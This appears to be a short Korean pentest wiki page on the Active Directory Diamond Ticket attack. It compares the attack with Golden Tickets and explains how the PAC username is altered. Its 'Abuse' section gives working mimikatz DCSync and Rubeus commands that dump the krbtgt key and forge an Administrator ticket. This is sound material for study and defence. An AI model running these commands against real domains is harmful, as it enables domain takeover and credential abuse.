Diamond Tickets

공격자의 로컬에서 TGT를 자체 제작하여 사용하는 골든 티켓과 달리, 다이아몬드 티켓은 KDC에 직접적으로 TGT를 요청합니다. 이것이 골든 티켓과 다이아몬드 티켓의 유일한 차이입니다.

Abuse

# krbtgt의 커버로스 키(AES256) 덤프
mimikatz # lsadump::dcsync /user:contoso\krbtgt /domain:contoso.com

# 도메인 SID 덤프
Import-Module ActiveDirectory
(Get-ADDomain).DomainSID.Value

# 다이아몬드 티켓 생성 및 환경 변수 등록
.\Rubeus.exe diamond /domain:contoso.com /user:Mick3y /password:Password123! /dc:ad01.contoso.com /enctype:AES256 /krbkey:d376cee2f5651cf7c767924f1b4ff8732dfaf974fbde27e0f9af461d5ee951eb /ticketuser:Administrator /ticketuserid:500 /groups:512 /nowrap /ptt

Root Cause

다이아몬드 티켓은 골든 티켓과 다르게 실제 KDC로부터 유효한 정상 TGT를 발급받은 후 조작하는 공격입니다. AS-REP으로 획득하는 TGT는 전혀 조작되지 않은 상태이기 때문에 와이어샤크로 분석한다고 하더라도 요청자에 대한 티켓밖에 나오지 않습니다.

ticketer.py 코드를 확인하면 createBasicTicket 함수 내부에서 target으로 삽입한 인자를 cname 변수에 할당하는 것이 확인됩니다. 그러면 아래와 같이 AS-REP를 통해 반환된 TGT의 PAC 내부 cname이 Mick3y에서 Administrator로 변경됩니다.

원본 PAC 정보

References

Last updated

Was this helpful?